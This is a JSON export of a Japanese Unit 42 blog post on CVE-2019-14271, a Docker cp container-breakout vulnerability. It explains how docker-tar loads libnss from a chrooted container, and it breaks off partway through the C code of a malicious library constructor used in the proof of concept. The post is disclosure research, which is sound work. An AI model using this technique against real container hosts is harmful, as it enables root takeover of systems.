{"id":101093,"date":"2019-11-19T22:35:22","date_gmt":"2019-11-20T06:35:22","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=101093\/"},"modified":"2019-11-19T22:35:22","modified_gmt":"2019-11-20T06:35:22","slug":"docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271\/","title":{"rendered":"Docker\u3001\u3053\u308c\u307e\u3067\u3067\u6700\u3082\u6df1\u523b\u306a cp \u30b3\u30de\u30f3\u30c9\u306e\u8106\u5f31\u6027CVE-2019-14271\u3092\u4fee\u6b63"},"content":{"rendered":"<h2>\u6982\u8981<\/h2>\n<p>\u3053\u3053\u6570\u5e74\u3001Docker\u3001Podman\u3001Kubernetes\u3092\u542b\u3080\u3055\u307e\u3056\u307e\u306a\u30b3\u30f3\u30c6\u30ca\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3067\u3001copy\u30b3\u30de\u30f3\u30c9(cp)\u306e\u8106\u5f31\u6027\u304c\u8907\u6570\u78ba\u8a8d\u3055\u308c\u3066\u304d\u307e\u3057\u305f\u3002\u305d\u308c\u3089\u306e\u4e2d\u3067\u6700\u3082\u6df1\u523b\u306a\u3082\u306e\u306f\u3053\u306e7\u6708\u3068\u3044\u3046\u3054\u304f\u6700\u8fd1\u767a\u898b\u30fb\u958b\u793a\u3055\u308c\u305f\u3082\u306e\u3067\u3059\u3002\u9a5a\u304f\u3079\u304d\u3053\u3068\u306b\u3001CVE\u306e\u8aac\u660e\u5185\u5bb9\u304c\u3042\u3044\u307e\u3044\u3060\u3063\u305f\u3053\u3068\u3001\u516c\u958b\u3055\u308c\u305f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u306a\u304b\u3063\u305f\u3053\u3068\u306a\u3069\u306e\u7406\u7531\u304b\u3089\u3001\u672c\u8106\u5f31\u6027\u306f\u516c\u958b\u76f4\u5f8c\u306b\u306f\u307b\u3068\u3093\u3069\u6ce8\u610f\u3092\u5f15\u304d\u307e\u305b\u3093\u3067\u3057\u305f\u3002<\/p>\n<p>\u3057\u304b\u3057\u306a\u304c\u3089\u3001<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2019-14271\">CVE-2019-14271<\/a>\u304c\u653b\u6483\u8005\u306b\u60aa\u7528\u3055\u308c\u305f\u5834\u5408\u3001Docker\u306e\u5b9f\u88c5\u3059\u308bcp\u30b3\u30de\u30f3\u30c9\u306f\u3001<strong>\u5b8c\u5168\u306a\u30b3\u30f3\u30c6\u30ca\u30d6\u30ec\u30a4\u30af\u30a2\u30a6\u30c8<\/strong>\u306b\u3064\u306a\u304c\u308a\u3046\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u554f\u984c\u3092\u5f15\u304d\u8d77\u3053\u3057\u307e\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u30012\u6708\u306b\u767a\u898b\u3055\u308c\u305f<a href=\"https:\/\/unit42.paloaltonetworks.com\/breaking-docker-via-runc-explaining-cve-2019-5736\/\">runC<\/a><a href=\"https:\/\/unit42.paloaltonetworks.com\/breaking-docker-via-runc-explaining-cve-2019-5736\/\">\u8106\u5f31\u6027<\/a>\u4ee5\u964d\u3067\u521d\u3081\u3066\u306e\u5b8c\u5168\u306a\u30b3\u30f3\u30c6\u30ca\u30d6\u30ec\u30a4\u30af\u30a2\u30a6\u30c8\u3067\u3059\u3002<\/p>\n<p>\u3053\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u308b\u306b\u3042\u305f\u3063\u3066\u306e\u524d\u63d0\u6761\u4ef6\u3068\u306a\u308b\u306e\u304c\u3001\u5bfe\u8c61\u306e\u30b3\u30f3\u30c6\u30ca\u304c\u3059\u3067\u306b\u5225\u306e\u653b\u6483(\u4ed6\u306e\u8106\u5f31\u6027\u3084\u6f0f\u3048\u3044\u3057\u305f\u79d8\u5bc6\u306a\u3069)\u306b\u3088\u3063\u3066\u4fb5\u5bb3\u6e08\u307f\u3067\u3042\u308b\u3053\u3068\u3001\u3042\u308b\u3044\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u4fe1\u983c\u3067\u304d\u306a\u3044\u30bd\u30fc\u30b9(\u30ec\u30b8\u30b9\u30c8\u30ea\u305d\u306e\u307b\u304b)\u304b\u3089\u306e\u60aa\u610f\u306e\u3042\u308b\u30b3\u30f3\u30c6\u30ca\u30a4\u30e1\u30fc\u30b8\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u3053\u3068\u3067\u3059\u3002\u3053\u308c\u3089\u306e\u6761\u4ef6\u4e0b\u3067\u30e6\u30fc\u30b6\u30fc\u304c\u8106\u5f31\u306acp\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u3066\u4fb5\u5bb3\u6e08\u307f\u30b3\u30f3\u30c6\u30ca\u304b\u3089\u30d5\u30a1\u30a4\u30eb\u3092\u30b3\u30d4\u30fc\u3059\u308b\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u305f\u5834\u5408\u3001\u653b\u6483\u8005\u306f\u30b3\u30f3\u30c6\u30ca\u3068\u30db\u30b9\u30c8\u306e\u5206\u96e2\u5236\u9650\u3092\u56de\u907f\u3057\u3001\u5f53\u8a72\u30b3\u30f3\u30c6\u30ca\u3092\u5b9f\u884c\u3059\u308b\u30db\u30b9\u30c8\u3068\u540c\u30db\u30b9\u30c8\u5185\u306e\u4ed6\u306e\u3059\u3079\u3066\u306e\u30b3\u30f3\u30c6\u30ca\u306e\u5b8c\u5168\u306aroot\u5236\u5fa1\u3092\u53d6\u5f97\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>CVE-2019-14271\u306f\u300cCritical (\u6df1\u523b)\u300d\u3068\u8a55\u4fa1\u3055\u308c\u3066\u304a\u308a\u3001Docker\u30d0\u30fc\u30b8\u30e7\u30f3<a href=\"https:\/\/docs.docker.com\/engine\/release-notes\/#19031\">19.03.1<\/a>\u3067\u4fee\u6b63\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u672c\u7a3f\u3067\u306fCVE-2019-14271\u306e\u6982\u8981\u3068\u672c\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u306f\u521d\u3068\u306a\u308b\u6982\u5ff5\u5b9f\u8a3c(PoC)\u306b\u3064\u3044\u3066\u8003\u5bdf\u3057\u307e\u3059\u3002<\/p>\n<p>\u3053\u3053\u306e\u3068\u3053\u308d\u3001\u7b46\u8005\u3068Ariel Zelivansky\u306f\u3001\u4e3b\u8981\u306a\u30b3\u30f3\u30c6\u30ca\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306b\u304a\u3051\u308bcopy\u30b3\u30de\u30f3\u30c9\u306e\u8106\u5f31\u6027\u6025\u5897\u3092\u305f\u3093\u306d\u3093\u306b\u8ffd\u8de1\u8abf\u67fb\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u79c1\u305f\u3061\u306f\u3053\u306e<a href=\"https:\/\/kccncna19.sched.com\/event\/d229f00f143036f7c488144e604f91ea\/\">\u8abf\u67fb\u7d50\u679c<\/a>\u30922019\u5e7411\u670820\u65e5\u306b\u30b5\u30f3\u30c7\u30a3\u30a8\u30b4\u3067\u958b\u50ac\u3055\u308c\u308b<a href=\"https:\/\/events19.linuxfoundation.org\/events\/kubecon-cloudnativecon-north-america-2019\/\">KubeCon<\/a><a href=\"https:\/\/events19.linuxfoundation.org\/events\/kubecon-cloudnativecon-north-america-2019\/\"> + CloudNativeCon 2019<\/a>\u3067\u767a\u8868\u3059\u308b\u4e88\u5b9a\u3067\u3059 (\u8a33\u6ce8: \u7c73\u56fd\u6642\u9593)\u3002\u79c1\u305f\u3061\u306f\u3001\u904e\u53bb\u306e\u8106\u5f31\u6027\u3001\u3055\u307e\u3056\u307e\u306a\u5b9f\u88c5\u3001\u305d\u3057\u3066\u3053\u306e\u6bd4\u8f03\u7684\u5358\u7d14\u306a\u30b3\u30de\u30f3\u30c9\u306e\u5b9f\u88c5\u304c\u306a\u305c\u9a5a\u304f\u307b\u3069\u96e3\u3057\u3044\u306e\u304b\u3001\u305d\u306e\u6839\u672c\u7684\u306a\u7406\u7531\u306b\u3064\u3044\u3066\u8abf\u67fb\u3092\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u672c\u8abf\u67fb\u306b\u53d6\u308a\u7d44\u3080\u305f\u3081\u306b\u30d3\u30eb\u30c9\u3057\u305f\u30af\u30fc\u30eb\u306a\u65b0\u3057\u3044\u30ab\u30fc\u30cd\u30eb\u6a5f\u80fd\u306b\u3064\u3044\u3066\u3082\u8aac\u660e\u3057\u3066\u3044\u307e\u3059\u306e\u3067\u3001\u30b3\u30f3\u30c6\u30ca\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u95a2\u5fc3\u304c\u3042\u308b\u304b\u305f\u306f\u305c\u3072\u30c1\u30a7\u30c3\u30af\u3057\u3066\u307f\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<h2>docker cp\u30b3\u30de\u30f3\u30c9<\/h2>\n<p>\u30b3\u30d4\u30fc\u30b3\u30de\u30f3\u30c9\u3092\u4f7f\u3046\u3068\u3001\u30db\u30b9\u30c8-\u30b3\u30f3\u30c6\u30ca\u9593\u3001\u307e\u305f\u306f\u30b3\u30f3\u30c6\u30ca-\u30b3\u30f3\u30c6\u30ca\u9593\u3067\u30d5\u30a1\u30a4\u30eb\u3092\u30b3\u30d4\u30fc\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u305d\u306e\u69cb\u6587\u306f\u6a19\u6e96\u7684\u306aUnix\u306ecp\u30b3\u30de\u30f3\u30c9\u3068\u3088\u304f\u4f3c\u3066\u3044\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001\/var\/logs\u3092\u30b3\u30f3\u30c6\u30ca\u304b\u3089\u629c\u304d\u51fa\u3057\u3066\u30b3\u30d4\u30fc\u3059\u308b\u306a\u3089\u3001\u305d\u306e\u69cb\u6587\u306f<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">docker cp container_name:\/var\/logs \/some\/host\/path <\/span><\/p>\n<p>\u3068\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u4e0b\u306e\u56f3\u304b\u3089\u3082\u308f\u304b\u308b\u3068\u304a\u308a\u3001\u30b3\u30f3\u30c6\u30ca\u304b\u3089\u629c\u304d\u51fa\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u30b3\u30d4\u30fc\u3059\u308b\u3055\u3044\u3001Docker\u306fdocker-tar\u3068\u547c\u3070\u308c\u308b\u30d8\u30eb\u30d1\u30fc\u30d7\u30ed\u30bb\u30b9\u3092\u4f7f\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101094\" aria-describedby=\"caption-attachment-101094\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-1-copying-files-out-of-a-container.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-101094 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-1-copying-files-out-of-a-container.png\" alt=\"\u56f31 \u30d5\u30a1\u30a4\u30eb\u3092\u30b3\u30f3\u30c6\u30ca\u304b\u3089\u30b3\u30d4\u30fc\" width=\"600\" height=\"76\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-1-copying-files-out-of-a-container.png 1317w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-1-copying-files-out-of-a-container-300x38.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-1-copying-files-out-of-a-container-768x97.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-1-copying-files-out-of-a-container-1024x130.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-1-copying-files-out-of-a-container-900x114.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-1-copying-files-out-of-a-container-370x47.png 370w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/a><figcaption id=\"caption-attachment-101094\" class=\"wp-caption-text\">\u56f31 \u30d5\u30a1\u30a4\u30eb\u3092\u30b3\u30f3\u30c6\u30ca\u304b\u3089\u30b3\u30d4\u30fc\u3057\u3066\u3044\u308b\u3068\u3053\u308d\u3002ps\u30b3\u30de\u30f3\u30c9\u3067\u78ba\u8a8d\u3059\u308b\u3068docker-tar\u304c\u30d8\u30eb\u30d1\u30fc\u30d7\u30ed\u30bb\u30b9\u3068\u3057\u3066\u4f7f\u308f\u308c\u3066\u3044\u308b<\/figcaption><\/figure>\n<p>docker-tar\u306f\u3001\u5bfe\u8c61\u30b3\u30f3\u30c6\u30ca\u306bchroot\u3059\u308b(\u4e0b\u56f3\u53c2\u7167)\u3001\u8981\u6c42\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3068\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u30a2\u30fc\u30ab\u30a4\u30d6\u3059\u308b\u3001\u30a2\u30fc\u30ab\u30a4\u30d6\u3055\u308c\u305ftar\u30d5\u30a1\u30a4\u30eb\u3092Docker\u30c7\u30fc\u30e2\u30f3\u306b\u8fd4\u3057\u3066\u30db\u30b9\u30c8\u4e0a\u306e\u5bfe\u8c61\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u5c55\u958b\u3057\u3066\u3082\u3089\u3046\u3001\u3068\u3044\u3046\u6d41\u308c\u3067\u52d5\u4f5c\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101096\" aria-describedby=\"caption-attachment-101096\" style=\"width: 601px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-2-docker-tar-chroots-into-the-container.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-101096 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-2-docker-tar-chroots-into-the-container.png\" alt=\"\u56f32 docker-tar\u3067\u30b3\u30f3\u30c6\u30ca\u306bchroot\u3057\u305f\u3068\u3053\u308d\" width=\"601\" height=\"59\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-2-docker-tar-chroots-into-the-container.png 1201w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-2-docker-tar-chroots-into-the-container-300x29.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-2-docker-tar-chroots-into-the-container-768x75.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-2-docker-tar-chroots-into-the-container-1024x101.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-2-docker-tar-chroots-into-the-container-900x88.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-2-docker-tar-chroots-into-the-container-370x36.png 370w\" sizes=\"(max-width: 601px) 100vw, 601px\" \/><\/a><figcaption id=\"caption-attachment-101096\" class=\"wp-caption-text\">\u56f32 docker-tar\u3067\u30b3\u30f3\u30c6\u30ca\u306bchroot\u3057\u305f\u3068\u3053\u308d<\/figcaption><\/figure>\n<p>chroot\u3092\u884c\u3046\u4e3b\u306a\u7406\u7531\u306f\u3001\u30db\u30b9\u30c8\u30d7\u30ed\u30bb\u30b9\u304c\u30b3\u30f3\u30c6\u30ca\u4e0a\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u30a2\u30af\u30bb\u30b9\u3057\u3088\u3046\u3068\u3057\u305f\u3068\u304d\u306b\u767a\u751f\u3057\u3046\u308bsymlink(\u30b7\u30f3\u30dc\u30ea\u30c3\u30af\u30ea\u30f3\u30af)\u306e\u554f\u984c\u3092\u56de\u907f\u3059\u308b\u3053\u3068\u306b\u3042\u308a\u307e\u3059\u3002symlink\u306e\u554f\u984c\u3068\u306f\u3001\u30a2\u30af\u30bb\u30b9\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u306e\u306a\u304b\u306bsymlink\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u3068\u3001\u305d\u308c\u304c\u30db\u30b9\u30c8\u5074\u306e\u30eb\u30fc\u30c8\u306b\u8aa4\u3063\u3066\u89e3\u6c7a\u3055\u308c\u3066\u3057\u307e\u3046\u53ef\u80fd\u6027\u304c\u3042\u308b\u3001\u3068\u3044\u3046\u554f\u984c\u3067\u3059\u3002\u653b\u6483\u8005\u306e\u5236\u5fa1\u4e0b\u306b\u3042\u308b\u30b3\u30f3\u30c6\u30ca\u306e\u5834\u5408\u3001\u3053\u308c\u304c<span style=\"font-family: 'courier new', courier, monospace;\">docker cp<\/span>\u3092\u9a19\u3057\u3066\u30b3\u30f3\u30c6\u30ca\u3067\u306f\u306a\u304f\u30db\u30b9\u30c8\u5074\u306e\u30d5\u30a1\u30a4\u30eb\u8aad\u307f\u66f8\u304d\u3092\u3055\u305b\u308b\u7a81\u7834\u53e3\u3068\u306a\u3063\u3066\u3057\u307e\u3044\u307e\u3059\u3002\u53bb\u5e74\u3082\u3053\u306esymlink\u95a2\u9023\u306e\u554f\u984c\u3067\u8907\u6570\u306eCVE\u304c<a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2018-15664\">Docker<\/a>\u3068<a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-10152\">P<\/a><a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-10152\">o<\/a><a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-10152\">dman<\/a>\u306b\u5272\u308a\u5f53\u3066\u3089\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u30b3\u30f3\u30c6\u30ca\u306e\u30eb\u30fc\u30c8\u306bchroot\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u672c\u6765\u306a\u3089docker-tar\u306f\u3059\u3079\u3066\u306esymlink\u304c\u3046\u307e\u304f\u30b3\u30f3\u30c6\u30ca\u306e\u30eb\u30fc\u30c8\u306e\u4e0b\u306b\u89e3\u6c7a\u3055\u308c\u308b\u3053\u3068\u3092\u4fdd\u8a3c\u3057\u3066\u304f\u308c\u308b\u306f\u305a\u3067\u3059\u3002<\/p>\n<p>\u6b8b\u5ff5\u306a\u304c\u3089\u3053\u308c\u304c\u3001\u30b3\u30f3\u30c6\u30ca\u304b\u3089\u30d5\u30a1\u30a4\u30eb\u3092\u30b3\u30d4\u30fc\u3059\u308b\u3055\u3044\u306e\u3055\u3089\u306b\u6df1\u523b\u306a\u554f\u984c\u767a\u751f\u306b\u3064\u306a\u304c\u308a\u307e\u3057\u305f\u3002<\/p>\n<h2>CVE-2019-14271<\/h2>\n<p>Docker\u306fGo\u8a00\u8a9e\u3067\u66f8\u304b\u308c\u3066\u3044\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u3044\u3046\u3068\u3001\u8106\u5f31\u306a\u30d0\u30fc\u30b8\u30e7\u30f3\u306eDocker\u306fGo\u306e\u30d0\u30fc\u30b8\u30e7\u30f31.11\u3067\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306eGo\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u306f\u3001\u57cb\u3081\u8fbc\u307f\u306eC\u30b3\u30fc\u30c9(cgo)\u3092\u542b\u307f\u3001\u5b9f\u884c\u6642\u306b\u5171\u6709\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u52d5\u7684\u306b\u30ed\u30fc\u30c9\u3059\u308b\u30d1\u30c3\u30b1\u30fc\u30b8\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u3046\u3057\u305f\u30d1\u30c3\u30b1\u30fc\u30b8\u306b\u306f\u3001docker-tar\u304c\u5229\u7528\u3059\u308bnet\u3084os\/user\u3082\u542b\u307e\u308c\u3066\u304a\u308a\u3001\u4e21\u30d1\u30c3\u30b1\u30fc\u30b8\u3068\u3082\u5b9f\u884c\u6642\u306blibnss_*.so\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u52d5\u7684\u306b\u30ed\u30fc\u30c9\u3057\u3066\u3044\u307e\u3059\u3002\u901a\u5e38\u3001\u30e9\u30a4\u30d6\u30e9\u30ea\u306f\u30db\u30b9\u30c8\u5074\u306e\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u304b\u3089\u30ed\u30fc\u30c9\u3055\u308c\u307e\u3059\u304c\u3001docker-tar\u306e\u5834\u5408\u3001\u30b3\u30f3\u30c6\u30ca\u306bchroot\u3059\u308b\u3053\u3068\u304b\u3089\u3001\u30b3\u30f3\u30c6\u30ca\u5074\u306e\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u304b\u3089\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u30ed\u30fc\u30c9\u3059\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u3064\u307e\u308a\u3001docker-tar\u306f\u300c\u30b3\u30f3\u30c6\u30ca\u5074\u3067\u751f\u6210\u30fb\u5236\u5fa1\u3057\u305f\u30b3\u30fc\u30c9\u3092\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3059\u308b\u300d\u3068\u3044\u3046\u3053\u3068\u3067\u3059\u3002<\/p>\n<p>\u5206\u304b\u308a\u3084\u3059\u304f\u3044\u3048\u3070\u3001\u30b3\u30f3\u30c6\u30ca\u5074\u306e\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306bchroot\u3055\u308c\u308b\u3068\u3044\u3046\u70b9\u3092\u306e\u305e\u304d\u3001docker-tar\u306f\u30b3\u30f3\u30c6\u30ca\u5316\u3055\u308c\u3066\u3044\u306a\u3044\u306e\u3067\u3059\u3002\u3067\u3059\u304b\u3089docker-tar\u306f\u3001\u30db\u30b9\u30c8\u5074\u306e\u540d\u524d\u7a7a\u9593\u3067\u5b9f\u884c\u3055\u308c\u3001\u3059\u3079\u3066\u306e\u30eb\u30fc\u30c8\u6a5f\u80fd\u3092\u5099\u3048\u3001cgroups\u3084seccomp\u304b\u3089\u306e\u5236\u7d04\u3092\u53d7\u3051\u307e\u305b\u3093\u3002\u3057\u305f\u304c\u3063\u3066\u3001\u30b3\u30fc\u30c9\u3092docker-tar\u306b\u633f\u5165\u3057\u3055\u3048\u3059\u308c\u3070\u3001\u60aa\u610f\u306e\u3042\u308b\u30b3\u30f3\u30c6\u30ca\u304c\u30db\u30b9\u30c8\u3078\u306e\u5b8c\u5168\u306a\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u3053\u3053\u3067\u8003\u3048\u3089\u308c\u308b\u653b\u6483\u30b7\u30ca\u30ea\u30aa\u306f\u3001\u6b21\u306e\u3044\u305a\u308c\u304b\u306e\u74b0\u5883\u3067\u30d5\u30a1\u30a4\u30eb\u3092\u30b3\u30d4\u30fc\u3059\u308bDocker\u30e6\u30fc\u30b6\u30fc\u3067\u3057\u3087\u3046\u3002<\/p>\n<ul>\n<li>\u60aa\u610f\u306e\u3042\u308b\u30a4\u30e1\u30fc\u30b8\u3092\u5b9f\u884c\u3057\u3001\u60aa\u610f\u306e\u3042\u308blibnss_*.so\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u542b\u3093\u3067\u3044\u308b\u30b3\u30f3\u30c6\u30ca<\/li>\n<li>\u3059\u3067\u306b\u4fb5\u5bb3\u3092\u53d7\u3051\u3066\u653b\u6483\u8005\u304clibnss_*.so\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u5dee\u3057\u66ff\u3048\u3066\u3042\u308b\u30b3\u30f3\u30c6\u30ca<\/li>\n<\/ul>\n<p>\u3069\u3061\u3089\u306e\u5834\u5408\u3067\u3082\u3001\u653b\u6483\u8005\u306f\u30db\u30b9\u30c8\u306e\u30eb\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3053\u307c\u308c\u8a71: \u3053\u306e\u8106\u5f31\u6027\u306f\u5b9f\u306f<a href=\"https:\/\/github.com\/moby\/moby\/issues\/39449\">GitHub\u306e\u4e0d\u5177\u5408<\/a>\u5831\u544a\u3067\u898b\u3064\u304b\u3063\u305f\u3082\u306e\u3067\u3059\u3002\u3042\u308b\u30e6\u30fc\u30b6\u30fc\u304c\u300cdebian:buster-slim\u30b3\u30f3\u30c6\u30ca\u304b\u3089\u30d5\u30a1\u30a4\u30eb\u3092\u30b3\u30d4\u30fc\u3057\u3088\u3046\u3068\u3057\u305f\u304cdocker cp\u304c\u7e70\u308a\u8fd4\u3057\u5931\u6557\u3059\u308b\u300d\u3068\u3044\u3046\u554f\u984c\u3092\u5831\u544a\u3057\u307e\u3057\u305f\u3002\u539f\u56e0\u306f\u3053\u306e\u7279\u5b9a\u306e\u30a4\u30e1\u30fc\u30b8\u304clibnss\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u542b\u3093\u3067\u3044\u306a\u3044\u3053\u3068\u306b\u3042\u308a\u307e\u3057\u305f\u3002\u3053\u306e\u305f\u3081\u540c\u30e6\u30fc\u30b6\u30fc\u304cdocker cp\u3084docker-tar\u30d7\u30ed\u30bb\u30b9\u3092\u5b9f\u884c\u3057\u3066\u3082\u3001\u30b3\u30f3\u30c6\u30ca\u30d5\u30a1\u30a4\u30eb\u5074\u306e\u30b7\u30b9\u30c6\u30e0\u304b\u3089libnss\u3092\u30ed\u30fc\u30c9\u3057\u3088\u3046\u3068\u3057\u3066\u306f\u5931\u6557\u3057\u3001\u30af\u30e9\u30c3\u30b7\u30e5\u3057\u3066\u3044\u305f\u306e\u3067\u3059\u3002<\/p>\n<h2>\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8<\/h2>\n<p>CVE-2019-14271\u3092\u60aa\u7528\u3059\u308b\u306b\u306f\u3001\u60aa\u610f\u306e\u3042\u308blibnss\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u30d3\u30eb\u30c9\u3057\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002\u672c\u8abf\u67fb\u3067\u306f\u3001\u9069\u5f53\u306blibnss_files.so\u3092\u9078\u3093\u3067\u30d3\u30eb\u30c9\u3057\u307e\u3057\u305f\u3002\u540c\u30e9\u30a4\u30d6\u30e9\u30ea\u306e\u30bd\u30fc\u30b9\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u3053\u306e\u306a\u304b\u306e1\u3064\u306brun_at_link()\u3068\u3044\u3046\u95a2\u6570\u30921\u3064\u8ffd\u52a0\u3057\u307e\u3059\u3002\u305d\u306e\u3055\u3044\u3001\u3053\u306e\u95a2\u6570\u306b<a href=\"https:\/\/gcc.gnu.org\/onlinedocs\/gcc-4.7.0\/gcc\/Function-Attributes.html\">constructor<\/a>\u5c5e\u6027\u3092\u3082\u305f\u305b\u3066\u5b9a\u7fa9\u3057\u307e\u3059\u3002constructor\u5c5e\u6027(GCC\u72ec\u81ea\u306e\u69cb\u6587)\u3092\u6307\u5b9a\u3059\u308b\u3068\u3001\u30d7\u30ed\u30bb\u30b9\u304c\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u30ed\u30fc\u30c9\u3059\u308b\u3055\u3044\u3001\u79c1\u306e\u4f5c\u3063\u305frun_at_link\u95a2\u6570\u304c\u305d\u306e\u521d\u671f\u5316\u95a2\u6570\u3068\u3057\u3066\u5b9f\u884c\u3055\u308c\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001docker-tar\u30d7\u30ed\u30bb\u30b9\u304c\u60aa\u610f\u306e\u3042\u308b\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u52d5\u7684\u306b\u30ed\u30fc\u30c9\u3059\u308b\u3068\u3001run_at_link\u95a2\u6570\u304c\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u4ee5\u4e0b\u304c\u305d\u306erun_at_link\u95a2\u6570\u306e\u30b3\u30fc\u30c9\u3067\u3059(\u7c21\u6f54\u306b\u3059\u308b\u305f\u3081\u306b\u77ed\u304f\u3057\u3066\u3042\u308a\u307e\u3059)\u3002<\/p>\n<pre class=\"lang:default decode:true\">#include ...\r\n\r\n#define ORIGINAL_LIBNSS \"\/original_libnss_files.so.2\"\r\n#define LIBNSS_PATH \"\/lib\/x86_64-linux-gnu\/libnss_files.so.2\"\r\n\r\nbool is_priviliged();\r\n\r\n__attribute__ ((constructor)) void run_at_link(void)\r\n{\r\n     char * argv_break[2];\r\n     if (!is_priviliged())\r\n           return;\r\n\r\n     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);\r\n     fprintf(log_fp, \"switched back to 